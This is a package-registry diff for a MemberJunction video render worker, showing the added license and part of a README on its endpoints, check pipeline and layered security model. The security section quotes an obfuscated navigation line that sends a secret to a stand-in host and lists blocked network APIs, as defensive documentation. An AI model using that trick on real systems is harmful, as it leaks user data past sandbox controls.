@memberjunction/video-studio-render-worker 0.0.1-seed.1 → 6.2.0-edge.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +183 -0
- package/README.md +139 -4
- package/assets/fonts/Inter-OFL.txt +93 -0
- package/assets/fonts/Inter-Regular.ttf +0 -0
- package/assets/fonts/JetBrainsMono-OFL.txt +93 -0
- package/assets/fonts/JetBrainsMono-Regular.ttf +0 -0
- package/dist/backend.d.ts +201 -0
- package/dist/backend.d.ts.map +1 -0
- package/dist/backend.js +205 -0
- package/dist/backend.js.map +1 -0
- package/dist/bundle.d.ts +112 -0
- package/dist/bundle.d.ts.map +1 -0
- package/dist/bundle.js +433 -0
- package/dist/bundle.js.map +1 -0
- package/dist/checks/dom-rules.d.ts +57 -0
- package/dist/checks/dom-rules.d.ts.map +1 -0
- package/dist/checks/dom-rules.js +205 -0
- package/dist/checks/dom-rules.js.map +1 -0
- package/dist/checks/hyperframes-check.d.ts +37 -0
- package/dist/checks/hyperframes-check.d.ts.map +1 -0
- package/dist/checks/hyperframes-check.js +161 -0
- package/dist/checks/hyperframes-check.js.map +1 -0
- package/dist/checks/static-checks.d.ts +46 -0
- package/dist/checks/static-checks.d.ts.map +1 -0
- package/dist/checks/static-checks.js +681 -0
- package/dist/checks/static-checks.js.map +1 -0
- package/dist/hyperframes-backend.d.ts +53 -0
- package/dist/hyperframes-backend.d.ts.map +1 -0
- package/dist/hyperframes-backend.js +733 -0
- package/dist/hyperframes-backend.js.map +1 -0
- package/dist/index.d.ts +20 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +20 -0
- package/dist/index.js.map +1 -0
- package/dist/jobs.d.ts +88 -0
- package/dist/jobs.d.ts.map +1 -0
- package/dist/jobs.js +650 -0
- package/dist/jobs.js.map +1 -0
- package/dist/lint-gate.d.ts +21 -0
- package/dist/lint-gate.d.ts.map +1 -0
- package/dist/lint-gate.js +528 -0
- package/dist/lint-gate.js.map +1 -0
- package/dist/main.d.ts +47 -0
- package/dist/main.d.ts.map +1 -0
- package/dist/main.js +195 -0
- package/dist/main.js.map +1 -0
- package/dist/one-shot.d.ts +37 -0
- package/dist/one-shot.d.ts.map +1 -0
- package/dist/one-shot.js +228 -0
- package/dist/one-shot.js.map +1 -0
- package/dist/preamble.d.ts +69 -0
- package/dist/preamble.d.ts.map +1 -0
- package/dist/preamble.js +331 -0
- package/dist/preamble.js.map +1 -0
- package/dist/server.d.ts +75 -0
- package/dist/server.d.ts.map +1 -0
- package/dist/server.js +526 -0
- package/dist/server.js.map +1 -0
- package/package.json +43 -5
package/LICENSE
ADDED
|
@@ -0,0 +1,183 @@
|
|
|
1
|
+
Business Source License 1.1
|
|
2
|
+
|
|
3
|
+
License text copyright (c) 2024 MariaDB plc, All Rights Reserved.
|
|
4
|
+
"Business Source License" is a trademark of MariaDB plc.
|
|
5
|
+
|
|
6
|
+
-----------------------------------------------------------------------------
|
|
7
|
+
|
|
8
|
+
Parameters
|
|
9
|
+
|
|
10
|
+
Licensor: Blue Cypress, Inc.
|
|
11
|
+
|
|
12
|
+
Licensed Work: MemberJunction.
|
|
13
|
+
The Licensed Work is (c) 2023-2026 Blue Cypress, Inc.
|
|
14
|
+
|
|
15
|
+
Additional Use Grant: Subject to the terms of this License, Licensor grants
|
|
16
|
+
you the following additional rights to make Production
|
|
17
|
+
Use of the Licensed Work.
|
|
18
|
+
|
|
19
|
+
1. Internal Use
|
|
20
|
+
|
|
21
|
+
You may make production use of the Licensed Work for
|
|
22
|
+
your own internal business or organizational operations.
|
|
23
|
+
|
|
24
|
+
2. Nonprofit Use
|
|
25
|
+
|
|
26
|
+
If you are a Nonprofit, you may make production use of
|
|
27
|
+
the Licensed Work for the operations and activities of
|
|
28
|
+
your Organizational Family.
|
|
29
|
+
|
|
30
|
+
3. MemberJunction Certified Program Use
|
|
31
|
+
|
|
32
|
+
If you are authorized by Licensor under the
|
|
33
|
+
MemberJunction Certified Program to provide professional
|
|
34
|
+
services using the Licensed Work, you may make
|
|
35
|
+
production use of the Licensed Work in providing such
|
|
36
|
+
professional services to a client, provided that:
|
|
37
|
+
|
|
38
|
+
(a) the Licensed Work is deployed in, and the applicable
|
|
39
|
+
production use occurs within, an environment owned,
|
|
40
|
+
leased, licensed, subscribed to, or otherwise controlled
|
|
41
|
+
by that client; and
|
|
42
|
+
|
|
43
|
+
(b) the production use is for that client's own internal
|
|
44
|
+
business or organizational operations or is otherwise
|
|
45
|
+
independently permitted to that client under this
|
|
46
|
+
Additional Use Grant.
|
|
47
|
+
|
|
48
|
+
4. Definitions Applicable to the Additional Use Grant
|
|
49
|
+
|
|
50
|
+
"Affiliate" means, with respect to a specified Person,
|
|
51
|
+
any other Person that directly or indirectly Controls,
|
|
52
|
+
is Controlled by, or is under common Control with such
|
|
53
|
+
specified Person.
|
|
54
|
+
|
|
55
|
+
"Control" (including the terms "Controls," "Controlled
|
|
56
|
+
by," and "under common Control with") means the direct
|
|
57
|
+
or indirect possession of the power to direct or cause
|
|
58
|
+
the direction of the management and policies of a
|
|
59
|
+
Person, whether through ownership of voting interests,
|
|
60
|
+
by contract, or otherwise.
|
|
61
|
+
|
|
62
|
+
"Organizational Family" means, with respect to a Person,
|
|
63
|
+
(a) such Person and its Affiliates, and (b) any
|
|
64
|
+
nonprofit organization, governmental entity, chapter,
|
|
65
|
+
division, local affiliate, regional affiliate, state
|
|
66
|
+
affiliate, national affiliate, or other entity that is
|
|
67
|
+
formally affiliated with such Person through governing
|
|
68
|
+
documents, a charter, bylaws, a membership agreement, or
|
|
69
|
+
another written organizational instrument, and is
|
|
70
|
+
recognized under such documents as part of the same
|
|
71
|
+
organizational structure.
|
|
72
|
+
|
|
73
|
+
"Nonprofit" means a Person recognized by the Internal
|
|
74
|
+
Revenue Service as exempt from federal income taxation
|
|
75
|
+
under Section 501(c)(3), 501(c)(4), 501(c)(5), or
|
|
76
|
+
501(c)(6) of the Internal Revenue Code, or a foreign
|
|
77
|
+
organization recognized under substantially equivalent
|
|
78
|
+
laws.
|
|
79
|
+
|
|
80
|
+
A Person claiming eligibility as a Nonprofit shall, upon
|
|
81
|
+
Licensor's reasonable request, provide documentation
|
|
82
|
+
reasonably sufficient to demonstrate that it qualifies
|
|
83
|
+
as a Nonprofit. If such Person materially misrepresents,
|
|
84
|
+
or is unable to demonstrate, its qualification as a
|
|
85
|
+
Nonprofit, the rights granted to such Person under
|
|
86
|
+
Section 2 of this Additional Use Grant shall terminate.
|
|
87
|
+
|
|
88
|
+
"MemberJunction Certified Program" means Licensor's
|
|
89
|
+
then-current program for certifying and authorizing a
|
|
90
|
+
Person to provide professional services using the
|
|
91
|
+
Licensed Work.
|
|
92
|
+
|
|
93
|
+
"Person" means any individual, corporation, limited
|
|
94
|
+
liability company, partnership, association, nonprofit
|
|
95
|
+
organization, governmental entity, or other legal or
|
|
96
|
+
organizational entity.
|
|
97
|
+
|
|
98
|
+
Change Date: Four (4) years from the date the Licensed Work is first
|
|
99
|
+
made available.
|
|
100
|
+
|
|
101
|
+
Change License: MIT License.
|
|
102
|
+
|
|
103
|
+
For information about alternative licensing arrangements for the Licensed
|
|
104
|
+
Work, please contact Blue Cypress, Inc.
|
|
105
|
+
|
|
106
|
+
-----------------------------------------------------------------------------
|
|
107
|
+
|
|
108
|
+
Terms
|
|
109
|
+
|
|
110
|
+
The Licensor hereby grants you the right to copy, modify, create derivative
|
|
111
|
+
works, redistribute, and make non-production use of the Licensed Work. The
|
|
112
|
+
Licensor may make an Additional Use Grant, above, permitting limited
|
|
113
|
+
production use.
|
|
114
|
+
|
|
115
|
+
Effective on the Change Date, or the fourth anniversary of the first publicly
|
|
116
|
+
available distribution of a specific version of the Licensed Work under this
|
|
117
|
+
License, whichever comes first, the Licensor hereby grants you rights under
|
|
118
|
+
the terms of the Change License, and the rights granted in the paragraph
|
|
119
|
+
above terminate.
|
|
120
|
+
|
|
121
|
+
If your use of the Licensed Work does not comply with the requirements
|
|
122
|
+
currently in effect as described in this License, you must purchase a
|
|
123
|
+
commercial license from the Licensor, its affiliated entities, or authorized
|
|
124
|
+
resellers, or you must refrain from using the Licensed Work.
|
|
125
|
+
|
|
126
|
+
All copies of the original and modified Licensed Work, and derivative works
|
|
127
|
+
of the Licensed Work, are subject to this License. This License applies
|
|
128
|
+
separately for each version of the Licensed Work and the Change Date may vary
|
|
129
|
+
for each version of the Licensed Work released by Licensor.
|
|
130
|
+
|
|
131
|
+
You must conspicuously display this License on each original or modified copy
|
|
132
|
+
of the Licensed Work. If you receive the Licensed Work in original or
|
|
133
|
+
modified form from a third party, the terms and conditions set forth in this
|
|
134
|
+
License apply to your use of that work.
|
|
135
|
+
|
|
136
|
+
Any use of the Licensed Work in violation of this License will automatically
|
|
137
|
+
terminate your rights under this License for the current and all other
|
|
138
|
+
versions of the Licensed Work.
|
|
139
|
+
|
|
140
|
+
This License does not grant you any right in any trademark or logo of
|
|
141
|
+
Licensor or its affiliates (provided that you may use a trademark or logo of
|
|
142
|
+
Licensor as expressly required by this License).
|
|
143
|
+
|
|
144
|
+
TO THE EXTENT PERMITTED BY APPLICABLE LAW, THE LICENSED WORK IS PROVIDED ON
|
|
145
|
+
AN "AS IS" BASIS. LICENSOR HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS,
|
|
146
|
+
EXPRESS OR IMPLIED, INCLUDING (WITHOUT LIMITATION) WARRANTIES OF
|
|
147
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, AND
|
|
148
|
+
TITLE.
|
|
149
|
+
|
|
150
|
+
MariaDB hereby grants you permission to use this License's text to license
|
|
151
|
+
your works, and to refer to it using the trademark "Business Source License",
|
|
152
|
+
as long as you comply with the Covenants of Licensor below.
|
|
153
|
+
|
|
154
|
+
-----------------------------------------------------------------------------
|
|
155
|
+
|
|
156
|
+
Covenants of Licensor
|
|
157
|
+
|
|
158
|
+
In consideration of the right to use this License's text and the "Business
|
|
159
|
+
Source License" name and trademark, Licensor covenants to MariaDB, and to all
|
|
160
|
+
other recipients of the licensed work to be provided by Licensor:
|
|
161
|
+
|
|
162
|
+
1. To specify as the Change License the GPL Version 2.0 or any later version,
|
|
163
|
+
or a license that is compatible with GPL Version 2.0 or a later version,
|
|
164
|
+
where "compatible" means that software provided under the Change License
|
|
165
|
+
can be included in a program with software provided under GPL Version 2.0
|
|
166
|
+
or a later version. Licensor may specify additional Change Licenses without
|
|
167
|
+
limitation.
|
|
168
|
+
|
|
169
|
+
2. To either: (a) specify an additional grant of rights to use that does not
|
|
170
|
+
impose any additional restriction on the right granted in this License, as
|
|
171
|
+
the Additional Use Grant; or (b) insert the text "None".
|
|
172
|
+
|
|
173
|
+
3. To specify a Change Date.
|
|
174
|
+
|
|
175
|
+
4. Not to modify this License in any other way.
|
|
176
|
+
|
|
177
|
+
-----------------------------------------------------------------------------
|
|
178
|
+
|
|
179
|
+
Notice
|
|
180
|
+
|
|
181
|
+
The Business Source License (this document, or the "License") is not an Open
|
|
182
|
+
Source license. However, the Licensed Work will eventually be made available
|
|
183
|
+
under an Open Source License, as stated in this License.
|
package/README.md
CHANGED
|
@@ -1,4 +1,139 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
1
|
+
# `@memberjunction/video-studio-render-worker`
|
|
2
|
+
|
|
3
|
+
Stateless, sandboxed composition render worker for MemberJunction Video Studio. It accepts a `RenderProjectBundle` over HTTP (`RENDER_WORKER_ROUTES`), enforces a strict Content Security Policy (`COMPOSITION_CSP`) and static lint gate (`RunLintGate`), injects the deterministic `window.MJVideo` runtime preamble (`InjectPreambleIntoHtml`), runs deterministic quality checks (`RunCheckJob`), and renders HTML/CSS/SVG/GSAP/Canvas compositions via HyperFrames (`hyperframes`, `@hyperframes/producer`, `@hyperframes/engine`, `@hyperframes/lint`, `@hyperframes/core`, `@hyperframes/parsers`, `@hyperframes/studio-server` pinned at `0.8.134`) and `ffmpeg`.
|
|
4
|
+
|
|
5
|
+
This package has **no** dependency on `@memberjunction/core`, `@memberjunction/core-entities`, or any database driver, and holds no vendor or database credentials.
|
|
6
|
+
|
|
7
|
+
## Endpoints
|
|
8
|
+
|
|
9
|
+
| Method | Path | Description |
|
|
10
|
+
| --- | --- | --- |
|
|
11
|
+
| `GET` | `/health` | Probes HyperFrames, `ffmpeg`, `ffprobe`, and Chromium; returns `200` (`Healthy: true`) or `503` (`Healthy: false`). Requires `Authorization: Bearer <token>` when `VIDEO_STUDIO_RENDER_TOKEN` is set. |
|
|
12
|
+
| `POST` | `/check` | Runs the deterministic check pipeline: RND-1 security/lint gate → static authored-file checks → preamble + default fonts → `hyperframes check --json` CLI audit → in-page DOM text measurements (`SampleTimestampsSeconds ?? [0]`) and DOM rules. A lint-blocked bundle returns lint issues immediately without launching Chromium. |
|
|
13
|
+
| `POST` | `/render` | Validates, lints, injects the CSP + `window.MJVideo` preamble, renders an H.264/AAC MP4 (`yuv420p`, `+faststart`), streams `RenderStreamEvent` NDJSON lines, and stores the MP4 for one-shot retrieval at `/videos/<VideoID>`. |
|
|
14
|
+
| `GET` | `/videos/<VideoID>` | Streams a rendered MP4 (`video/mp4`) once and removes it from the ephemeral video store. |
|
|
15
|
+
| `POST` | `/stills` | Captures still frames (`png` or `jpeg`) across `Points` in a single Chromium session. |
|
|
16
|
+
| `POST` | `/contact-sheet` | Builds a contact sheet grid (and optional `TransitionStrip`) from captured stills in a single Chromium session. |
|
|
17
|
+
| `POST` | `/keyframes` | Extracts scene-change (`0.3` threshold) and uniform-sample keyframes from a base64 MP4 via `ffmpeg` / `ffprobe` (default `MaxFrames`: `16`). |
|
|
18
|
+
|
|
19
|
+
## Environment Variables (`RENDER_WORKER_ENV`)
|
|
20
|
+
|
|
21
|
+
| Variable | Default | Description |
|
|
22
|
+
| --- | --- | --- |
|
|
23
|
+
| `VIDEO_STUDIO_RENDER_HOST` | `127.0.0.1` (`0.0.0.0` in Docker) | Bind address for the HTTP server. |
|
|
24
|
+
| `VIDEO_STUDIO_RENDER_PORT` | `0` (`8080` in Docker) | Bind port (`0` selects an ephemeral OS port and prints `VIDEO_STUDIO_RENDER_WORKER_PORT=<port>` on `stdout`). |
|
|
25
|
+
| `VIDEO_STUDIO_RENDER_TOKEN` | *(unset)* | Shared bearer token required on **every** route (including `GET /health`) when set. **Required** whenever `VIDEO_STUDIO_RENDER_HOST` is not a loopback address (`127.0.0.1`, `::1`, `localhost`). |
|
|
26
|
+
| `VIDEO_STUDIO_RENDER_MAX_BODY_MB` | `256` | Maximum JSON request body size in megabytes (`413 BodyTooLarge` when exceeded while streaming). |
|
|
27
|
+
| `VIDEO_STUDIO_RENDER_CONCURRENCY` | `1` | Maximum concurrent heavy jobs (`/render`, `/stills`, `/contact-sheet`, `/check`, `/keyframes`); excess requests wait in a FIFO queue. |
|
|
28
|
+
| `VIDEO_STUDIO_RENDER_MAX_TIMEOUT_MS` | `1800000` (30 min) | Hard ceiling for `/render` jobs (`min(req.TimeoutMs, VIDEO_STUDIO_RENDER_MAX_TIMEOUT_MS)`). Non-render routes time out after 5 minutes (`300000` ms). |
|
|
29
|
+
| `VIDEO_STUDIO_RENDER_ALLOW_ROOT` | `false` | Refuses to start when running as `uid === 0` unless set to `1` or `true`. |
|
|
30
|
+
|
|
31
|
+
Optional browser/telemetry overrides read by the backend:
|
|
32
|
+
- `CHROME_PATH` / `PUPPETEER_EXECUTABLE_PATH` / `PUPPETEER_CACHE_DIR`: Path to the pinned `chrome-headless-shell` binary or Puppeteer cache directory.
|
|
33
|
+
- `DO_NOT_TRACK=1` and `HYPERFRAMES_NO_TELEMETRY=1`: Automatically set by the worker to prevent HyperFrames from sending usage telemetry.
|
|
34
|
+
|
|
35
|
+
### Token & Non-Loopback Rule
|
|
36
|
+
|
|
37
|
+
- If `VIDEO_STUDIO_RENDER_HOST` is non-loopback (e.g., `0.0.0.0` inside Docker) and `VIDEO_STUDIO_RENDER_TOKEN` is empty, `CreateRenderWorkerServer` throws immediately on startup.
|
|
38
|
+
- When `VIDEO_STUDIO_RENDER_TOKEN` is configured, every request to every route (`GET /health`, `POST /render`, `GET /videos/<id>`, `POST /stills`, `POST /contact-sheet`, `POST /check`, `POST /keyframes`) must supply `Authorization: Bearer <token>`. Token comparison hashes both values with SHA-256 and compares the 32-byte digests via `crypto.timingSafeEqual`.
|
|
39
|
+
|
|
40
|
+
## Deterministic Check Pipeline (`RunCheckJob`)
|
|
41
|
+
|
|
42
|
+
`RunCheckJob` runs checks in order:
|
|
43
|
+
1. **Validate & Stage (`StageRenderBundle`)**: Validates bundle paths (`ValidateRenderBundle`), frame geometry (`ValidateRenderGeometry`), and composition `data-*` geometry alignment (`ValidateCompositionGeometryMatch`). Stages authored files into a temporary directory along with bundled SIL OFL default fonts (`Inter-Regular.ttf` aliased as `'MJ Sans'` and `JetBrainsMono-Regular.ttf` aliased as `'MJ Mono'` under `__mj_fonts/` so HyperFrames' font compiler never rewrites them to `fonts.googleapis.com`), and injects `COMPOSITION_CSP`, `<style data-mj-default-fonts>`, and the `window.MJVideo` runtime preamble on a single line (`InjectPreambleIntoHtml`) so line numbers in diagnostics match authored files.
|
|
44
|
+
2. **Lint Gate (`RunLintGate`)**: Scans `request.Bundle.Files` in memory (`ScanAuthoredFilesForLintIssues`: `MJ_NON_BUNDLE_URL`, `MJ_NETWORK_API`) and runs `@hyperframes/lint` (`lintProject`) against the staged directory. Note: `@hyperframes/lint`'s `lintMediaUrls` is intentionally **not** called because at `0.8.134` it issues live outbound HTTP `HEAD` requests (`fetch`) from Node, which would create an SSRF vector. If `BlockRender` is true, `RunCheckJob` returns immediately without invoking Chromium.
|
|
45
|
+
3. **Static Checks (`RunStaticChecks`)**: Pure authored-file checks on `request.Bundle` (`MJ_MISSING_ASSET`, `MJ_NONDETERMINISTIC_API`, `MJ_UNBOUND_LITERAL_SOURCE`). Note that `@hyperframes/lint`'s `non_deterministic_code` rule blocks raw `Math.random()` in `<script>` blocks even though the runtime preamble seeds `Math.random`; compositions and prompts should call `window.MJVideo.Random()` directly.
|
|
46
|
+
4. **HyperFrames CLI Audit (`backend.RunCheckCli` → `MapHyperFramesCheckOutput`)**: Runs `hyperframes check --json --no-proxy --no-browser-gpu <dir>` as a child subprocess with an allowlisted environment, per-job `HOME`, telemetry off, and no network by policy (`BuildReducedCheckCliEnv`: `env` reduced to the six-key allowlist `PATH`, `TMPDIR`, a fresh per-job `HOME`, `DO_NOT_TRACK=1`, `HYPERFRAMES_NO_TELEMETRY=1`, and `HYPERFRAMES_BROWSER_PATH`, 2-minute timeout; Docker `--network none` is the network isolation boundary) and maps `layout`, `contrast`, and `motion` findings (plus top-level `{"ok":false,"error":"..."}` errors as `MJ_CHECK_CLI_FAILED`).
|
|
47
|
+
5. **DOM Measurement & Rules (`backend.MeasureText` → `EvaluateDomRules`)**: Runs `normalizeSystemFontPrimaryFamilies` and `injectDeterministicFontFaces` (offline) on `index.html`, seeks the composition via `captureFrameToBuffer` at `SampleTimestampsSeconds ?? [0]` with bundle-only request interception (`CaptureSession.page.setRequestInterception(true)`), measures visible text nodes (using tight `Range.getClientRects()` text node union for HTML elements and `getBoundingClientRect()` for SVG `<text>`) via `BuildMeasureTextInPageScript`, and evaluates `MJ_SAFE_AREA`, `MJ_MIN_TEXT_SIZE`, `MJ_UNBOUND_LITERAL_RENDERED`, and `MJ_UNBUNDLED_FONT`.
|
|
48
|
+
6. **Merge, Dedupe & Sort (`DedupeCheckIssues`, `SortCheckIssues`)**: Deduplicates on `Code + Selector + File + Line` keeping the earliest `TimestampSeconds`, sorts deterministically, and sets `Passed = !Issues.some(i => i.Severity === 'Error')` and `BlockRender = !Passed`.
|
|
49
|
+
|
|
50
|
+
### Check Codes Reference
|
|
51
|
+
|
|
52
|
+
| Code | Category | Severity | Stage | Description |
|
|
53
|
+
| --- | --- | --- | --- | --- |
|
|
54
|
+
| `MJ_NON_BUNDLE_URL` | `RemoteUrl` | `Error` | Lint Gate | Relative path escaping the bundle root, non-bundle URL (`http:`, `https:`, `//`, `ws:`, `file:`, `javascript:`) in HTML, CSS, SVG, or JS, or `<script src>` / JS `import` specifier that does not resolve to an entry in `Bundle.Files`. |
|
|
55
|
+
| `MJ_NETWORK_API` | `RemoteUrl` | `Error` | Lint Gate | Forbidden browser network/navigation API (`fetch`, `XMLHttpRequest`, `WebSocket`, `EventSource`, `sendBeacon`, `RTCPeerConnection`, `importScripts`, `serviceWorker`, `window.open`, `location`, inline event handlers `on*=`, `<meta http-equiv="refresh">`, `<base>`, `<link rel="prefetch\|preconnect\|dns-prefetch\|prerender">`). |
|
|
56
|
+
| `MJ_MISSING_ASSET` | `MissingAsset` | `Error` | Static Checks | Bundle-relative reference in HTML, CSS, SVG, or JS that does not resolve to any entry in `Bundle.Files` or `Bundle.Assets`. |
|
|
57
|
+
| `MJ_NONDETERMINISTIC_API` | `Lint` | `Error` | Static Checks | Non-deterministic timer/clock API (`Date.now(`, `new Date()`, `performance.now(`, `requestAnimationFrame(`, `setTimeout(`, `setInterval(`) in composition scripts (skipping inline HTML `<script>` patterns already reported by `@hyperframes/lint` as `non_deterministic_code` or `requestanimationframe_in_composition`). |
|
|
58
|
+
| `MJ_UNBOUND_LITERAL_SOURCE` | `DataLiteral` | `Error` | Static Checks | Numeric literal token (`ExtractNumericLiteralTokens`) in authored HTML/SVG text outside `<script>`/`<style>` and outside `data-mj-bound` that is not in `AllowedDataLiterals`. |
|
|
59
|
+
| `MJ_SAFE_AREA` | `SafeArea` | `Error` | DOM Rules | Rendered text bounding box extends outside the format's safe-area insets (`SAFE_AREA_INSETS`). |
|
|
60
|
+
| `MJ_MIN_TEXT_SIZE` | `MinTextSize` | `Error` | DOM Rules | Rendered text `FontSizePx` is below `MIN_TEXT_SIZE_SHORT_EDGE_RATIO * Math.min(Width, Height)` (`27px` at `1080p`). |
|
|
61
|
+
| `MJ_UNBOUND_LITERAL_RENDERED` | `DataLiteral` | `Error` | DOM Rules | Rendered text outside `[data-mj-bound]` contains a numeric literal token not in `AllowedDataLiterals`. |
|
|
62
|
+
| `MJ_BOUND_KEY_UNKNOWN` | `DataLiteral` | `Error` | DOM Rules | Rendered text inside `[data-mj-bound="<key>"]` has an empty `data-mj-bound` attribute or references a key not in `BoundDataLiterals`. |
|
|
63
|
+
| `MJ_BOUND_VALUE_MISMATCH` | `DataLiteral` | `Error` | DOM Rules | At a settle timestamp (`SettleTimestampsSeconds`), rendered text inside `[data-mj-bound="<key>"]` contains a numeric literal token not in `BoundDataLiterals[key]`. Intermediate animated count-up frames at non-settle timestamps are not flagged. |
|
|
64
|
+
| `MJ_ASOF_CARD_MISSING` | `Provenance` | `Error` | DOM Rules | A required provenance / as-of card substring (`RequiredFinalFrameText`, e.g., `Data as of YYYY-MM-DD`) is not present in any visible text element on the final frame. |
|
|
65
|
+
| `MJ_UNBUNDLED_FONT` | `Lint` | `Warning` | DOM Rules | Rendered text's primary computed `font-family` is neither a loaded `@font-face` in `document.fonts` nor one of the worker's bundled default fonts (`MJ Sans`, `MJ Mono`). |
|
|
66
|
+
| `MJ_CHECK_CLI_UNREADABLE` | `Lint` | `Warning` | CLI Audit | `hyperframes check --json` stdout was empty, malformed JSON, or missing audit sections. |
|
|
67
|
+
| `MJ_CHECK_CLI_FAILED` | `Lint` | `Warning` | CLI Audit | `hyperframes check` subprocess crashed, timed out, or failed to spawn. |
|
|
68
|
+
| `MJ_MEASURE_TEXT_FAILED` | `Lint` | `Warning` | DOM Rules | `backend.MeasureText` threw while measuring rendered DOM text. |
|
|
69
|
+
| `text_box_overflow`, `canvas_overflow`, `sibling_overlap`, ... | `Layout` | `Error` / `Warning` | CLI Audit | HyperFrames CLI layout audit findings mapped from `layout.findings`. |
|
|
70
|
+
| `contrast_aa_failure`, ... | `Contrast` | `Error` / `Warning` | CLI Audit | HyperFrames CLI WCAG contrast audit findings mapped from `contrast.findings`. |
|
|
71
|
+
| `jitter`, `pacing`, ... | `Lint` | `Error` / `Warning` | CLI Audit | HyperFrames CLI motion audit findings mapped from `motion.findings`. |
|
|
72
|
+
|
|
73
|
+
### Tunable DOM Check Constants (`src/checks/dom-rules.ts`)
|
|
74
|
+
|
|
75
|
+
- **`SAFE_AREA_INSETS`**: Fractional safe-area margins per `VideoFormat`:
|
|
76
|
+
- `16:9`: `{ Top: 0.05, Bottom: 0.05, Left: 0.05, Right: 0.05 }`
|
|
77
|
+
- `1:1`: `{ Top: 0.05, Bottom: 0.05, Left: 0.05, Right: 0.05 }`
|
|
78
|
+
- `9:16`: `{ Top: 0.10, Bottom: 0.20, Left: 0.06, Right: 0.12 }`
|
|
79
|
+
- **`MIN_TEXT_SIZE_SHORT_EDGE_RATIO`**: `0.025` (`2.5%` of `Math.min(Width, Height)`, which equals `27px` on a `1920x1080` or `1080x1920` frame).
|
|
80
|
+
|
|
81
|
+
## Security Model & Defense in Depth
|
|
82
|
+
|
|
83
|
+
1. **Layer 1 — Path Traversal & Bundle Validation**: Every `Bundle.Files` and `Bundle.Assets` path is validated by `ValidateBundleRelativePath` before a single byte is written to disk. Absolute paths, `..` segments, Windows drive prefixes (`C:foo`), backslashes, NUL/control bytes, strict base64 violations, and case-insensitive collisions return `400 InvalidBundle`.
|
|
84
|
+
2. **Layer 2 — Pre-Render Static & HyperFrames Lint Gate**: `RunLintGate` combines `@hyperframes/lint` (`lintProject`) with static checks across all authored `.html`/`.htm`, `.css`, `.svg`, and script entries in `Bundle.Files` (`MJ_NON_BUNDLE_URL`, `MJ_NETWORK_API`), including HTML inline event handlers (`onerror`, `onload`, `onclick`, etc.), entity-encoded attributes, quoted `>` inside `<script>` tags, and `.css` entries in `Bundle.Files` (which a browser would execute if referenced via `<script src="s.css">`). Every raw `<script src="...">` attribute and JS `import` specifier (before entity decoding) must match `^[A-Za-z0-9._@/-]+$` with no leading `/` and resolve to an entry in `Bundle.Files` (rejecting `Bundle.Assets` or non-existent script paths). **What a static gate cannot stop**: obfuscated inline JS (e.g., `self["loc"+"ation"] = "//evil.example/?d=" + MJVideo.Data.Secret`) and `<script>` elements created dynamically at runtime (e.g., `document.createElement("script")` whose `src` is a `Bundle.Assets` entry).
|
|
85
|
+
3. **Layer 3 — Strict Injected CSP**: `InjectPreambleIntoHtml` injects `<meta http-equiv="Content-Security-Policy" content="default-src 'self' data: blob:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'none'; frame-src 'none'; worker-src 'none'; object-src 'none'; base-uri 'none'; form-action 'none'">` right after `<!doctype ...>` (or byte 0) into every `.html`/`.htm` file.
|
|
86
|
+
4. **Layer 4 — Ephemeral Staging, Non-Root Execution & Container Isolation**: Each job stages into a fresh `fs.mkdtemp` directory removed in `finally`, enforces hard timeouts and a FIFO concurrency semaphore, and refuses to run as root (`uid === 0`).
|
|
87
|
+
5. **Residual Gaps & Why Docker `--network none` Is Required for Untrusted Prompts (Decision 4 / D15)**:
|
|
88
|
+
- **Node-side `fetch()` in `@hyperframes/producer` and the `hyperframes check` CLI**: Before Chromium or its `<meta>` CSP ever runs, `@hyperframes/producer` (`dist/index.js`) and the `hyperframes check` CLI perform outbound Node `fetch()` steps:
|
|
89
|
+
1. **Google Fonts lookup (`@hyperframes/producer/dist/index.js:155439`, `injectDeterministicFontFaces`)**: For any CSS `font-family` name that does not have a matching `@font-face` rule in the bundle (including OS font names such as `Arial` or `Roboto`, which connect to `fonts.googleapis.com:443`), both the render pipeline and the `hyperframes check` CLI call Node `fetch('https://fonts.googleapis.com/css2?family=...')`.
|
|
90
|
+
2. **GSAP CDN rewrite (`@hyperframes/producer/dist/index.js:162586`, `rewriteUnresolvableGsapToCdn` → `inlineExternalScripts` at `:162180`)**: For any `<script src="...">` matching `[^"']*gsap[^"']*/dist/([^"']+)` where `existsSync(path.resolve(projectDir, src))` is false, `@hyperframes/producer` rewrites the attribute to `https://cdn.jsdelivr.net/npm/gsap@3.15.0/dist/$1`, and `inlineExternalScripts` (`:162180`) fetches every `http(s)` `<script src>` from Node and inlines the response body into the page.
|
|
91
|
+
- **Hardcoded `--no-sandbox` in `@hyperframes/engine`**: `@hyperframes/engine/dist/services/browserManager.js:667` (`buildChromeArgs`) launches `chrome-headless-shell` with `--no-sandbox` and `--disable-setuid-sandbox`, and the `/render` pipeline (`executeRenderJob`) does not expose a Puppeteer `page` hook for CDP request interception (whereas `CaptureStills` and `MeasureText` attach `page.setRequestInterception(true)` on `CaptureSession.page`).
|
|
92
|
+
- **What `<meta http-equiv="Content-Security-Policy">` and the static gate cannot block**: Browser CSP delivered via `<meta>` cannot block top-level document navigation (`window.location = ...`, `<meta http-equiv="refresh">`), WebRTC ICE/STUN UDP traffic (`RTCPeerConnection`), or `<link rel="dns-prefetch">` DNS resolution, and standalone `.svg` documents opened directly do not inherit HTML `<meta>` CSP. While `RunLintGate` statically blocks literal `location` assignments, `<meta http-equiv="refresh">`, `RTCPeerConnection`, and `<link rel="dns-prefetch">`, a static gate cannot stop obfuscated inline JS (`self["loc"+"ation"]`) or runtime-created `<script>` elements (`createElement("script")` pointing at an Asset), and a top-level navigation on the `/render` path can carry `MJVideo.Data` out.
|
|
93
|
+
